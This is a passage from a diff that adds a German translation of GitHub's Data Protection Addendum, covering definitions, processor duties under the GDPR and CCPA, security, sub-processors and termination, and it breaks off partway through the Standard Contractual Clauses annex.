+1.2 **Verantwortlicher**, **betroffene Person**, **Mitgliedstaat**, **personenbezogene Daten**, **Verletzung des Schutzes personenbezogener Daten**, **Verarbeitung**, **Auftragsverarbeiter** und **Kontrollstelle** haben die Bedeutung nach der Definition in den anwendbaren Datenschutzgesetzen. Bei Widersprüchen haben die Bedeutungen aus der DSGVO Vorrang.
+
+1.3 **Personenbezogene Daten von Kundenseite** sind alle personenbezogenen Daten, für die der Kunde als Verantwortlicher auftritt, und zwar unabhängig davon, ob der Kunde diese zur Verarbeitung durch GitHub bereitstellt oder ob GitHub diese im Zuge der Erfüllung seiner Pflichten nach dieser Vereinbarung generiert. Dazu zählen Daten wie Abrechnungsinformationen, IP-Adressen, Firmen-E-Mail-Adressen und alle sonstigen personenbezogenen Daten, für die der Kunde als Verantwortlicher auftritt.
+
+1.4 **Daten in Kunden-Repositorys** sind alle Daten und Informationen, die der Kunde in beliebige seiner privaten Repositorys hochlädt oder dort erstellt.
+
+1.5 Eine **Datenschutzverletzung** ist eine Verletzung des Schutzes personenbezogener Daten oder jede andere bestätigte oder billigerweise vermutete Verletzung der geschützten Daten von Kundenseite.
+
+1.6 **Rechtmäßige Geschäftsvorgänge von GitHub** umfassen Folgendes, jeweils in Verbindung mit der Bereitstellung der Onlinedienste für den Kunden: (1) interne Berichterstattung und Geschäftsmodellierung, (2) Bekämpfung von Betrug, Cyberkriminalität und Cyberangriffen, die GitHub beeinträchtigen können, (3) Verbesserung der Kernfunktionen von Zugänglichkeit oder Datenschutz und (4) Rechnungslegung und Einhaltung rechtlicher Verpflichtungen.
+
+1.7 **Endbenutzer** sind die Endbenutzer des Kunden, beispielsweise Angestellte, Vertragspartner oder Mitarbeiter.
+
+1.8 **Zulässige Zwecke** der Datenverarbeitung sind die beschränkten, spezifischen Zwecke der Bereitstellung des Onlinediensts nach der Vereinbarung und dieser DPA oder die Zwecke, für die eine betroffene Person die Nutzung personenbezogener Daten von Kundenseite autorisiert hat.
+
+1.9 **Geschützte Daten** sind alle personenbezogenen Daten von Kundenseite und alle Daten in Kundenrepositorys, die GitHub im Auftrag des Kunden und im Rahmen der Vereinbarung verarbeitet.
+
+1.10 Zu **sensiblen Daten** zählt Folgendes: personenbezogenen Daten, aus denen die ethnische Herkunft hervorgeht, politische Meinungen, religiöse oder weltanschauliche Überzeugungen oder Gewerkschaftszugehörigkeit, die Verarbeitung genetischer oder biometrischer Daten zur eindeutigen Identifizierung einer natürlichen Person, Gesundheitsdaten oder Daten zum Sexualleben oder der sexuellen Orientierung einer natürlichen Person sowie Daten zu Straftaten, strafrechtlichen Verurteilungen oder Sicherheitsmaßnahmen.
+
+## 2. Status und Einhaltung von Vorschriften.
+
+#### 2.1 Datenverarbeitung.
+GitHub tritt als Auftragsverarbeiter für alle personenbezogenen Daten von Kundenseite auf, die GitHub im Zusammenhang mit der Vereinbarung erhält, außer in Fällen, in denen Kunden als Auftragsverarbeiter auftreten; dann fungiert GitHub als Unterauftragsverarbeiter. GitHub verarbeitet personenbezogene Daten von Kundenseite ausschließlich zu zulässigen Zwecken in Übereinstimmung mit Kundenanweisungen gemäß der Vereinbarung und sonstigen schriftlichen Mitteilungen. Für den Fall, dass GitHub nicht in der Lage ist, die Anweisungen des Kunden zu erfüllen, beispielsweise aufgrund von Konflikten mit den anwendbaren Datenschutzgesetzen oder wenn die Verarbeitung nach den geltenden Datenschutzvorschriften oder sonstigen gesetzlichen Anforderungen erforderlich ist, teilt GitHub dem Kunden dies mit, soweit dies zulässig ist. GitHub verarbeitet alle personenbezogenen Daten von Kundenseite in den Vereinigten Staaten oder in der Europäischen Union. Die Unterauftragsverarbeiter von GitHub verarbeiten Daten jedoch ggf. außerhalb der Vereinigten Staaten oder der Europäischen Union. Des Weiteren tritt GitHub als Auftragsverarbeiter für alle Daten in Kundenrepositorys auf.
+
+#### 2.2 Datenverantwortliche.
+Der Kunde ist nur Datenverantwortlicher für personenbezogene Daten von Kundenseite, die direkt oder durch die Nutzung des Onlinediensts an GitHub übermittelt werden. Davon ausgenommen sind Fälle, in denen (a) der Kunde als Auftragsverarbeiter personenbezogener Daten von Kundenseite auftritt (sodass GitHub als Unterauftragsverarbeiter fungiert) oder wenn (b) GitHub personenbezogene Daten von Kundenseite im Rahmen der rechtmäßigen Geschäftsvorgänge von GitHub nutzt oder verarbeitet. In diesem Fall kommt GitHub der Verpflichtung eines unabhängigen Datenverantwortlichen gemäß DSGVO für diese Nutzung nach.
+
+#### 2.3 Einhaltung von Vorschriften durch GitHub; Datenübertragungen.
+GitHub erfüllt die anwendbaren Datenschutzgesetze für die Verarbeitung personenbezogener Daten.
+
+Für sämtliche Übermittlungen personenbezogener Daten von Kundenseite aus der Europäischen Union, dem Europäischen Wirtschaftsraum, dem Vereinigten Königreich oder der Schweiz in Verbindung mit der Bereitstellung des Onlinediensts gelten die Standardvertragsklauseln in Anhang 1 (Standardvertragsklauseln).
+
+GitHub hält sich an die Anforderungen des Europäischen Wirtschaftsraums und des schweizerischen Datenschutzrechts in Bezug auf die Erhebung, Nutzung, Übertragung, Speicherung und sonstige Verarbeitung personenbezogener Daten aus dem Europäischen Wirtschaftsraum, aus dem Vereinigten Königreich und aus der Schweiz. Alle Übermittlungen personenbezogener Daten in Drittländer oder an internationale Unternehmen unterliegen den in Artikel 46 der DSGVO beschriebenen Schutzvorkehrungen, und diese Übertragungen und Schutzvorkehrungen werden gemäß Artikel 30(2) der DSGVO dokumentiert.
+
+Darüber hinaus ist GitHub für das EU-US- und das Swiss-US Privacy Shield Framework und die damit verbundenen Verpflichtungen zertifiziert, auch wenn sich GitHub im Hinblick auf das Urteil des Europäischen Gerichtshofs im Verfahren C-311/18 nicht auf das EU-USA-Privacy Shield Framework als rechtliche Grundlage für die Übertragung personenbezogener Daten stützt.  GitHub erklärt sich damit einverstanden, den Kunden zu benachrichtigen, wenn GitHub zu dem Schluss kommt, dass die Erfüllung der Verpflichtung, ein den Vorgaben der Privacy Shield-Prinzipien entsprechendes Sicherheitsniveau zu bieten, nicht mehr möglich ist.
+
+#### 2.4 Rechte betroffener Personen; Unterstützung bei Anfragen.
+GitHub bietet dem Kunden die Möglichkeit, Anfragen betroffener Personen zur Ausübung ihrer Rechte gemäß den anwendbaren Datenschutzgesetzen wie DSGVO und CCPA auf eine Weise nachzukommen, die mit der Funktion des Onlinediensts und der Rolle von GitHub als Auftragsverarbeiter personenbezogener Daten von Kundenseite in Einklang steht. Wenn GitHub die Anfrage einer betroffenen Person des Kunden erhält, um mindestens eines ihrer Rechte in Verbindung mit dem Onlinedienst, für den GitHub Datenverarbeiter oder Unterauftragsverarbeiter ist, auszuüben, leitet GitHub die betroffene Person um, damit sie ihre Anfrage direkt an den Kunden richten kann. Der Kunde ist für die Beantwortung solcher Anfragen verantwortlich, gegebenenfalls unter Verwendung der Funktionen oder der Dokumentation des Onlinediensts. GitHub wird angemessenen Kundenanforderungen nach Unterstützung bei seiner Bearbeitung von Anfragen durch betroffene Personen nachkommen.
+
+### 3. Datenschutz.
+
+#### 3.1 Zweckbindung.
+Sofern die Parteien schriftlich keine Zweckerweiterung vereinbaren, verarbeitet und übermittelt GitHub geschützte Daten ausschließlich zu den zulässigen Zwecken.
+
+#### 3.2 Datenqualität und Verhältnismäßigkeit.
+GitHub sorgt dafür, dass die personenbezogenen Daten von Kundenseite stets korrekt und auf dem neuesten Stand sind, oder ermöglicht es dem Kunden, dies zu gewährleisten. GitHub ergreift wirtschaftlich zumutbare Maßnahmen, um zu sicherzustellen, dass im Namen des Kunden erfasste geschützte Daten bezogen auf die Zwecke, für die sie übermittelt und verarbeitet werden, angemessen, relevant und nicht unverhältnismäßig sind. GitHub erfasst im Namen des Kunden keinesfalls absichtlich sensible Daten. Der Kunde stimmt zu, dass der Onlinedienst nicht für die Speicherung sensibler Daten vorgesehen ist. Lädt der Kunde sensible Daten in den Onlinedienst hoch, muss der Kunde Artikel 9 der DSGVO oder entsprechende Bestimmungen in den anwendbaren Datenschutzgesetzen erfüllen.
+
+#### 3.3 Datenaufbewahrung und -löschung.
+Sofern nicht gesetzlich untersagt, gibt GitHub auf berechtigte Aufforderung des Kunden hin innerhalb von dreißig Tagen nach Aufforderung sämtliche personenbezogenen Daten von Kundenseite sowie alle zugehörigen Daten an allen Speicherorten zurück oder vernichtet oder anonymisiert sie, wenn sie nicht länger für die zulässigen Zwecke benötigt werden. GitHub darf personenbezogene Daten von Kundenseite sowie zugehörige Daten in dem durch die anwendbaren Datenschutzgesetze geforderten Umfang ausschließlich in dem Umfang und für die Dauer aufbewahren, die durch die anwendbaren Datenschutzgesetze vorgeschrieben werden – vorausgesetzt, GitHub stellt sicher, dass die personenbezogenen Daten von Kundenseite ausschließlich zu dem in den anwendbaren Datenschutzgesetzen angegebenen Zweck verarbeitet werden und dass die personenbezogenen Daten von Kundenseite weiterhin durch die anwendbaren Datenschutzgesetze geschützt sind.
+
+#### 3.4 Datenverarbeitung.
+GitHub stellt die folgenden nach DSGVO Artikel 28(3) geforderten Informationen zur Verarbeitung geschützter Daten von Kundenseite bereit:
+
+a.  *Gegenstand und Laufzeit der Verarbeitung* personenbezogener Daten von Kundenseite werden in der Vereinbarung und in der DPA festgelegt.
+
+b.  *Art und Zweck der Verarbeitung* personenbezogener Daten von Kundenseite werden in Abschnitt 3.1 der DPA beschrieben.
+
+c.  *Die Arten verarbeiteter personenbezogener Daten von Kundenseite* werden in der Vereinbarung beschrieben und umfassen personenbezogene Daten von Kundenseite sowie andere Arten personenbezogener Daten, die der Kunde in die personenbezogenen Daten von Kundenseite aufnehmen möchte. Der Kunde kann GitHub wahlweise weitere personenbezogene Daten von Kundenseite bereitstellen, beispielsweise seine Profileinstellungen oder in seine GitHub-Repositorys hochgeladene personenbezogene Daten von Kundenseite.
+
+d.   *Die Kategorien betroffener Personen, auf die sich die personenbezogenen Daten von Kundenseite beziehen*, umfassen den Kunden selbst und seine Endbenutzer.
+
+e.   *Die Pflichten und Rechte des Kunden* sind in der Vereinbarung und in der DPA festgelegt.
+
+### 4. Pflichten im Zusammenhang mit Sicherheit und Überwachung.
+
+#### 4.1 Technische und organisatorische Sicherheitsmaßnahmen.
+GitHub implementiert unter Berücksichtigung des Stands der Technik, der Implementierungskosten und der Art, des Umfangs, des Kontexts und der Zwecke der Verarbeitung sowie des Risikos schwankender Wahrscheinlichkeit und des schwankenden Schweregrads für die Rechte und Freiheiten natürlicher Personen angemessene technische und organisatorische Maßnahmen, um ein den bei der Verarbeitung geschützter Daten bestehenden Risiken angemessenes Sicherheitsniveau zu gewährleisten, unter anderem zum Schutz vor versehentlicher oder unrechtmäßiger Vernichtung bzw. vor Verlust, Veränderung, unbefugter Offenlegung und unbefugtem Zugriff. GitHub überwacht regelmäßig die Einhaltung dieser Maßnahmen und ergreift über die Laufzeit der Vereinbarung angemessene Schutzmaßnahmen. Die Pflichten von GitHub im Zusammenhang mit Schutzmaßnahmen sind in Abschnitt 1.1 des Anhangs zur Sicherheit (weiter unten) aufgeführt.
+
+#### 4.2 Reaktion auf Vorfälle und Benachrichtigung bei Verletzung des Schutzes personenbezogener Daten.
+GitHub erfüllt die Informationssicherheitspflichten nach dem GitHub-Anhang zur Sicherheit und den anwendbaren Datenschutzgesetzen, einschließlich der Benachrichtigungspflichten bei Verletzung des Schutzes personenbezogener Daten. Abschnitt 1.2 des Anhangs zur Sicherheit enthält weitere Informationen zu den Pflichten von GitHub im Zusammenhang mit der Reaktion auf die Verletzung des Schutzes personenbezogener Daten sowie hinsichtlich entsprechender Benachrichtigungen.
+
+#### 4.3 Mitarbeiter von GitHub.
+GitHub sichert zu und garantiert, angemessene Maßnahmen zu ergreifen, um zu gewährleisten, dass alle Mitarbeiter von GitHub, die personenbezogene Daten verarbeiten, sich zur Geheimhaltung der geschützten Daten verpflichtet haben und ausreichend zur Einhaltung dieser DPA und der anwendbaren Datenschutzgesetze geschult wurden.
+
+#### 4.4 Aufzeichnungen.
+GitHub pflegt vollständige, korrekte und aktuelle schriftliche Aufzeichnungen zu allen Kategorien von im Namen des Kunden ausgeführten Verarbeitungstätigkeiten mit den nach den anwendbaren Datenschutzgesetzen geforderten Informationen. Insoweit eine entsprechende Unterstützung die Sicherheit von GitHub oder das Recht auf Privatsphäre bestimmter betroffener Personen nicht gefährdet, stellt GitHub dem Kunden diese Aufzeichnungen auf berechtigte Anfrage bereit – beispielsweise, um dem Kunden gegenüber die Einhaltung der anwendbaren Datenschutzgesetze nachzuweisen. Weitere Informationen zu den Anforderungen von GitHub im Zusammenhang mit der Unterstützung bei Sicherheitsvorfällen stehen im Abschnitt 1.2 des Anhangs zur Sicherheit zur Verfügung.
+
+#### 4.5 Berichterstattung zur Einhaltung von Vorschriften.
+GitHub erstattet gemäß Abschnitt 2.3 des Anhangs zur Sicherheit Bericht zur Einhaltung von Sicherheitsvorschriften. Der Kunde erklärt sich damit einverstanden, dass alle Informations- und Prüfrechte, die durch die anwendbaren Datenschutzgesetze (einschließlich, sofern zutreffend, Artikel 28 Absatz 3 Buchstabe h der DSGVO) gewährt werden, durch diese Berichte zur Einhaltung von Vorschriften erfüllt werden und nur in dem Umfang entstehen, in dem die Vorlage eines Berichts zur Einhaltung von Vorschriften durch GitHub keine ausreichenden Informationen bereitstellt, oder in dem Umfang, in dem der Kunde auf eine Überprüfung einer Regulierungsbehörde oder Kontrollstelle reagieren muss. Abschnitt 3.1 des Anhangs zur Sicherheit beschreibt die Pflichten der Parteien im Zusammenhang mit einer Überprüfung durch eine Regulierungsbehörde oder Kontrollstelle.
+
+#### 4.6 Unterstützung.
+GitHub unterstützt den Kunden in vertretbarem Umfang bei Anliegen wie Datenschutz-Folgenabschätzungen, Geltendmachung von Rechten durch betroffene Personen, Konsultationen mit Aufsichtsbehörden und ähnlichen Angelegenheiten, jeweils ausschließlich im Zusammenhang mit der Verarbeitung der personenbezogenen Daten von Kundenseite und unter Berücksichtigung der Art der Verarbeitung.
+
+### 5. Verwendung und Offenlegung geschützter Daten.
+Keine Marketingverwendung und CCPA. GitHub verwendet geschützte Daten nicht zur Bewerbung von Drittanbieterinhalten. Falls GitHub personenbezogene Daten von Kundenseite im Rahmen des CCPA verarbeitet, werden diese Daten von GitHub ausschließlich für in der DPA festgelegte Zwecke und soweit im Rahmen des CCPA (einschließlich jeglicher Verkaufsausnahme) zulässig aufbewahrt, genutzt oder offengelegt. Entsprechende Daten werden von GitHub unter keinen Umständen verkauft.
+
+### 6. Unterverarbeitung und Weiterübermittlung.
+
+#### 6.1 Schutz der Daten.
+GitHub haftet für die Weiterübermittlung geschützter Daten an seine Unterauftragsverarbeiter (beispielsweise externe Zahlungsabwickler). Für den Fall, dass GitHub die geschützten Daten an einen externen Unterauftragsverarbeiter übermittelt oder GitHub einen Dritten oder Dienste von Dritten einsetzt, nutzt oder dazu befähigt, im Namen von GitHub geschützte Daten zu verarbeiten, stellt GitHub sicher, dass der externe Unterauftragsverarbeiter durch eine schriftliche Vereinbarung daran gebunden ist, mindestens das gleiche Niveau an Geheimhaltung, Sicherheit und Datenschutz zu gewährleisten, zu dem auch GitHub gemäß dieser DPA und der anwendbaren Datenschutzgesetze verpflichtet ist.
+
+#### 6.2 Akzeptanz von GitHub-Unterauftragsverarbeitern.
+Der Kunde gestattet GitHub und zugehörigen Unterauftragsverarbeitern die Bestimmung und Nutzung von Unterauftragsverarbeitern gemäß diesem Abschnitt 6 und der Vereinbarung.
+
+#### 6.3 Allgemeine Zustimmung zur nachgelagerten Unterverarbeitung.
+Der Kunde erteilt GitHub seine allgemeine Zustimmung zur Beauftragung weiterer nachgelagerter Unterauftragsverarbeiter, sofern GitHub die folgenden Anforderungen erfüllt:
+
+a.  Alle nachgelagerten Unterauftragsverarbeiter müssen schriftlich zustimmen, Daten ausschließlich in einem Land, das die Europäische Kommission als Land mit „angemessenem“ Schutzniveau einstuft bzw. ausschließlich unter Bedingungen, die den Standardvertragsklauseln entsprechen, oder nach von zuständigen europäischen Datenschutzbehörden genehmigten verbindlichen internen Datenschutzvorschriften oder gemäß konformen und gültigen Zertifizierungen nach EU-US Privacy Shield und Swiss-US Privacy Shield zu verarbeiten, und
+
+b.  GitHub beschränkt den Zugriff nachgelagerter Unterauftragsverarbeiter auf personenbezogene Daten von Kundenseite auf das für die Leistungserbringung strikt notwendige Maß, und GitHub untersagt dem Unterauftragsverarbeiter die Verarbeitung personenbezogener Daten von Kundenseite zu allen sonstigen Zwecken.
+
+#### 6.4 Offenlegung von Unterauftragsverarbeiter-Vereinbarungen.
+GitHub pflegt eine Liste nachgelagerter Unterauftragsverarbeiter, die mit der Verarbeitung personenbezogener Daten von Kundenseite auf der Website von GitHub beauftragt wurden. Diese Liste enthält auch die Kategorien der verarbeiteten personenbezogenen Daten von Kundenseite, eine Beschreibung der Art der durch den Unterauftragsverarbeiter erbrachten Verarbeitung sowie den Ort der Verarbeitung. GitHub stellt dem Kunden diese Liste der Unterauftragsverarbeiter und die Bedingungen der Verarbeitung der personenbezogenen Daten von Kundenseite auf schriftliche Anfrage zur Verfügung. Gemäß den Geheimhaltungspflichten für Unterauftragsverarbeiter entfernt GitHub ggf. vertrauliche oder geschäftlich sensible Informationen, bevor dem Kunden die Liste und die Bedingungen bereitgestellt werden. Für den Fall, dass GitHub vertrauliche oder sensible Informationen nicht an den Kunden weitergeben kann, vereinbaren die Parteien, dass GitHub alle Informationen zur Verfügung stellt, die angesichts der Unterverarbeitungsvereinbarungen vertretbarerweise von GitHub bereitgestellt werden können.
+
+#### 6.5 Ablehnung von Unterauftragsverarbeitern.
+GitHub kündigt die Aufnahme oder Entfernung von Unterauftragsverarbeitern einschließlich der in Abschnitt 6.4 genannten Kategorien schriftlich und dreißig Tage im Voraus durch Bekanntgabe der Änderungen auf der Website von GitHub an. Wenn der Kunde berechtigte Einwände gegen die Beauftragung eines neuen Unterauftragsverarbeiters durch GitHub hat, ist dies GitHub umgehend schriftlich mitzuteilen. GitHub bemüht sich im wirtschaftlich vertretbaren Umfang nach Möglichkeit um eine alternative Lösung für die Onlinedienste, um eine Datenverarbeitung durch den abgelehnten Unterauftragsverarbeiter zu vermeiden. Falls es GitHub nicht gelingt, eine alternative Lösung zu finden, und die Parteien den Konflikt nicht innerhalb von neunzig Tagen lösen können, kann der Kunde die Vereinbarung kündigen.
+
+### 7. Kündigung.
+
+#### 7.1 Aussetzung.
+Sollte GitHub seinen Pflichten der Aufrechterhaltung eines angemessenen Schutzniveaus oder Datenschutzes nicht nachkommen, kann der Kunde die Übermittlung sämtlicher personenbezogener Daten von Kundenseite vorübergehend aussetzen oder die Erfassung und Verarbeitung personenbezogener Daten von Kundenseite im Namen des Kunden untersagen, bis die Pflichten erfüllt sind oder die Vereinbarung gekündigt wurde.
+
+#### 7.2 Kündigung aus wichtigem Grund.
+Neben seinen Kündigungsrechten nach der Vereinbarung kann der Kunde die Vereinbarung unbeschadet aller sonstigen Ansprüche aufgrund von Gesetz oder Billigkeit in folgenden Fällen kündigen:
+
+a.  GitHub teilt dem Kunden mit, dass GitHub die Datenschutzpflichten nicht mehr erfüllen kann.
+
+b.  Die Übermittlung, Erfassung oder Verarbeitung sämtlicher personenbezogener Daten von Kundenseite wurde nach Abschnitt 7.1 vorübergehend für länger als einen Monat ausgesetzt.
+
+c.  GitHub verstößt in wesentlicher oder dauerhafter Form gegen Zusicherungen oder Garantien aus der DPA.
+
+d.  GitHub ist nicht mehr geschäftlich tätig, wurde aufgelöst oder steht unter Insolvenzverwaltung, oder die Abwicklung von GitHub wird angeordnet. Oder:
+
+e.  Der Kunde lehnt nach Abschnitt 6.5 einen Unterauftragsverarbeiter ab, und es gelingt GitHub nicht, innerhalb von neunzig Tagen eine alternative Lösung zu finden.
+
+#### 7.3 Verstoß.
+Die Nichterfüllung der wesentlichen Bestimmungen dieser DPA gilt als wesentlicher Verstoß gegen die Vereinbarung.
+
+#### 7.4 Nichterfüllung.
+Sollte die Umsetzung dieser DPA aufgrund geänderter Gesetze oder Vorschriften unmöglich oder wirtschaftlich unvertretbar werden, können die Parteien diese DPA in Treu und Glauben neu verhandeln. Lässt sich die Unmöglichkeit der Umsetzung durch Neuverhandlung nicht beheben, oder erreichen die Parteien keine Einigung, können die Parteien die Vereinbarung nach dreißig Tagen kündigen.
+
+#### 7.5 Benachrichtigung.
+Kann GitHub die Datenschutzpflichten im Rahmen dieser DPA nach eigenem Ermessen nicht mehr erfüllen, hat GitHub dies dem Kunden umgehend schriftlich mitzuteilen.
+
+#### 7.6 Änderungen.
+Diese DPA kann von GitHub von Zeit zu Zeit angepasst werden, soweit dies im Rahmen der anwendbaren Datenschutzgesetze erforderlich ist. Der Kunde muss dabei jeweils dreißig Tage im Voraus schriftlich benachrichtigt werden.
+
+#### 7.7 Kündigungsbedingungen.
+GitHub muss bei Kündigung
+
+a.  angemessene und ausreichende Maßnahmen ergreifen, die die Verarbeitung der personenbezogenen Daten von Kundenseite verhindern;
+
+b.  innerhalb von neunzig Tagen ab Kündigung sämtliche personenbezogenen Daten von Kundenseite löschen oder anonymisieren, die GitHub nach Abschnitt 3.3 im Namen des Kunden speichert; und
+
+c.  dem Kunden gegenüber auf angemessene Weise zusichern, dass GitHub seine Pflichten nach Abschnitt 7.7 erfüllt hat.
+
+### 8. Haftung für die Datenverarbeitung.
+
+#### 8.1 Beschränkungen.
+Von Beschränkungen nach den anwendbaren Datenschutzgesetzen abgesehen gelten für alle Forderungen nach dieser DPA die Haftungsbeschränkungsbestimmungen der Vereinbarung.
+
+## Anhang 1: Die Standardvertragsklauseln (Auftragsverarbeiter)
+Die Umsetzung der Vereinbarung durch den Kunden umfasst die Umsetzung dieses Anhangs 1 für den Nachtrag zum Datenschutz von GitHub, der von GitHub, Inc. gegengezeichnet ist.
+
+In Ländern, in denen eine behördliche Zulassung für den Einsatz von Standardvertragsklauseln erforderlich ist, können die Standardvertragsklauseln nicht gemäß der EU-Verordnung der Europäischen Kommission 2010/87/EU (vom Februar 2010) geltend gemacht werden, um den Datenexport aus dem Land zu legitimieren, es sei denn, der Kunde verfügt über die erforderliche behördliche Genehmigung.
+
+Gemäß Artikel 46 Absatz 2 der Datenschutz-Grundverordnung (EU 2016/679) für die Übermittlung personenbezogener Daten an Auftragsverarbeiter, die in Drittländern niedergelassen sind, in denen kein angemessenes Schutzniveau gewährleistet ist, haben der Kunde (als Datenexporteur) und GitHub (als Datenimporteur, dessen Unterschrift sich weiter unten befindet), die jeweils eine „Partei“ und zusammen die „Parteien“ darstellen, folgende Vertragsklauseln (die „Klauseln“ oder „Standardvertragsklauseln“) vereinbart, um angemessene Garantien hinsichtlich des Schutzes der Privatsphäre, der Grundrechte und der Grundfreiheiten von Personen bei der Übermittlung der in Anhang 1 zu diesen Vertragsklauseln spezifizierten personenbezogenen Daten vom Datenexporteur an den Datenimporteur zu bieten.
+
+#### Klausel 1: Definitionen
+(a) Die Begriffe „personenbezogene Daten“, „besondere Kategorien personenbezogener Daten“, „verarbeiten/Verarbeitung“, „für die Verarbeitung Verantwortlicher“, „Auftragsverarbeiter“, „betroffene Person“ und „Kontrollstelle“ haben jeweils die gleiche Bedeutung wie in der Datenschutz-Grundverordnung (EU 2016/679) zum Schutz natürlicher Personen bei der Verarbeitung personenbezogener Daten und zum freien Datenverkehr;
+
+(b) der „Datenexporteur“ ist der für die Verarbeitung Verantwortliche, der die personenbezogenen Daten übermittelt;
+
+(c) der „Datenimporteur“ ist der Auftragsverarbeiter, der sich bereit erklärt, vom Datenexporteur personenbezogene Daten entgegenzunehmen und sie nach der Übermittlung gemäß dessen Anweisungen und den Bestimmungen der Klauseln in dessen Auftrag zu verarbeiten, und der keinem System eines Drittlands unterliegt, das angemessenen Schutz im Sinne von Artikel 45 Absatz 2 der Datenschutz-Grundverordnung (EU 2016/679) gewährleistet;
+
+(d) der „Unterauftragsverarbeiter“ ist der Auftragsverarbeiter, der im Auftrag des Datenimporteurs oder eines anderen Unterauftragsverarbeiters des Datenimporteurs tätig ist und sich bereit erklärt, vom Datenimporteur oder von einem anderen Unterauftragsverarbeiter des Datenimporteurs personenbezogene Daten ausschließlich zu dem Zweck entgegenzunehmen, sie nach der Übermittlung im Auftrag des Datenexporteurs nach dessen Anweisungen, den Klauseln und den Bestimmungen des schriftlichen Unterauftrags zu verarbeiten;
+
+(e) der Begriff „anwendbares Datenschutzrecht“ bezeichnet die Vorschriften zum Schutz der Grundrechte und Grundfreiheiten von Personen, insbesondere des Rechts auf Schutz der Privatsphäre bei der Verarbeitung personenbezogener Daten, die in dem Mitgliedstaat, in dem der Datenexporteur niedergelassen ist, auf den für die Verarbeitung Verantwortlichen anzuwenden sind;
+
+(f) die „technischen und organisatorischen Sicherheitsmaßnahmen“ sind die Maßnahmen, die personenbezogene Daten vor versehentlicher oder ungesetzlicher Vernichtung, versehentlichem Verlust, Änderung, unberechtigter Offenlegung oder unberechtigtem Zugriff (insbesondere, wenn die Verarbeitung die Übermittlung der Daten über ein Netzwerk umfasst) und vor jeder anderen Form der ungesetzlichen Verarbeitung schützen sollen.
+
+#### Klausel 2: Einzelheiten der Übermittlung
+Die Einzelheiten der Übermittlung, insbesondere die besonderen Kategorien personenbezogener Daten, sofern vorhanden, werden in Anhang 1 erläutert, der Bestandteil dieser Klauseln ist.
+
+#### Klausel 3: Drittbegünstigtenklausel
+1. Die betroffenen Personen können diese Klausel sowie Klausel 4 Buchstaben b bis i, Klausel 5 Buchstaben a bis e und g bis j, Klausel 6 Absätze 1 und 2, Klausel 7, Klausel 8 Absatz 2 sowie die Klauseln 9 bis 12 gegenüber dem Datenexporteur als Drittbegünstigte geltend machen.
+
+2. Die betroffene Person kann diese Klausel, Klausel 5 Buchstaben a bis e und g, die Klauseln 6 und 7, Klausel 8 Absatz 2 sowie die Klauseln 9 bis 12 gegenüber dem Datenimporteur geltend machen, wenn das Unternehmen des Datenexporteurs faktisch oder rechtlich nicht mehr besteht, es sei denn, ein Rechtsnachfolger hat durch einen Vertrag oder kraft Gesetzes sämtliche rechtlichen Pflichten des Datenexporteurs übernommen; in letzterem Fall kann die betroffene Person die Klauseln gegenüber dem Rechtsnachfolger als Träger sämtlicher Rechte und Pflichten des Datenexporteurs geltend machen.
+
+3. Die betroffene Person kann diese Klausel, Klausel 5(a) bis (e) und (g), die Klauseln 6, 7, 8(2) und die Klauseln 9 bis 12 gegenüber dem Unterauftragsverarbeiter durchsetzen, wenn sowohl das Unternehmen des Datenexporteurs als auch das Unternehmen des Datenimporteurs faktisch oder rechtlich nicht mehr bestehen oder zahlungsunfähig sind; es sei denn, ein Rechtsnachfolger hat durch einen Vertrag oder kraft Gesetzes sämtliche rechtlichen Pflichten des Datenexporteurs übernommen. Im letzteren Fall kann die betroffene Person die Klauseln gegenüber dem Rechtsnachfolger als Träger sämtlicher Rechte und Pflichten des Datenexporteurs durchsetzen. Eine solche Haftpflicht des Unterauftragsverarbeiters ist auf dessen Verarbeitungstätigkeiten nach den Klauseln beschränkt.
+
+4. Die Parteien haben keine Einwände dagegen, dass die betroffene Person, sofern sie dies ausdrücklich wünscht und das nationale Recht dies zulässt, durch eine Vereinigung oder sonstige Einrichtung vertreten wird.
+
+#### Klausel 4: Verpflichtungen des Datenexporteurs
+Der Datenexporteur stimmt zu und garantiert, dass:
+
+(a) die Verarbeitung der personenbezogenen Daten, einschließlich der Übermittlung an sich, gemäß den einschlägigen Bestimmungen des anwendbaren Datenschutzrechts durchgeführt wurde und auch weiterhin so durchgeführt wird (und gegebenenfalls den zuständigen Behörden des Mitgliedstaats mitgeteilt wurde, in dem der Datenexporteur niedergelassen ist) und nicht gegen die einschlägigen Vorschriften dieses Staats verstößt;
+
+(b) er den Datenimporteur angewiesen hat und während der gesamten Dauer der Datenverarbeitungsdienste anweisen wird, die übermittelten personenbezogenen Daten nur im Auftrag des Datenexporteurs und in Übereinstimmung mit dem anwendbaren Datenschutzrecht und den Klauseln zu verarbeiten;
+
+(c) der Datenimporteur hinreichende Garantien bietet in Bezug auf die in Anhang 2 unten beschriebenen technischen und organisatorischen Sicherheitsmaßnahmen;
+
+(d) die Sicherheitsmaßnahmen nach Prüfung der Anforderungen des anwendbaren Datenschutzrechts geeignet sind, personenbezogene Daten vor unbeabsichtigter oder unrechtmäßiger Zerstörung oder versehentlichem Verlust, Veränderung, unberechtigter Offenlegung oder Zugriff (insbesondere wenn die Verarbeitung die Übermittlung von Daten über ein Netzwerk beinhaltet) und vor allen anderen unrechtmäßigen Formen der Verarbeitung zu schützen, und dass diese Maßnahmen ein Sicherheitsniveau gewährleisten, das den Risiken der Verarbeitung und der Art der zu schützenden Daten unter Berücksichtigung des Stands der Technik und der Kosten ihrer Implementierung angemessen ist;
+
+(e) er die Einhaltung dieser Sicherheitsmaßnahmen sicherstellt;
+
+(f) die betroffene Person bei der Übermittlung besonderer Datenkategorien vor (oder sobald wie möglich nach) der Übermittlung davon in Kenntnis gesetzt worden ist (bzw. davon in Kenntnis gesetzt wird), dass ihre Daten in ein Drittland übermittelt werden könnten, das kein angemessenes Schutzniveau im Sinne der Datenschutz-Grundverordnung (EU 2016/679) bietet;
+
+(g) er die gemäß Klausel 5 Buchstabe b sowie Klausel 8 Absatz 3 vom Datenimporteur oder von einem Unterauftragsverarbeiter erhaltene Mitteilung an die Kontrollstelle weiterleitet, wenn der Datenexporteur beschließt, die Übermittlung fortzusetzen oder die Aussetzung aufzuheben;
+
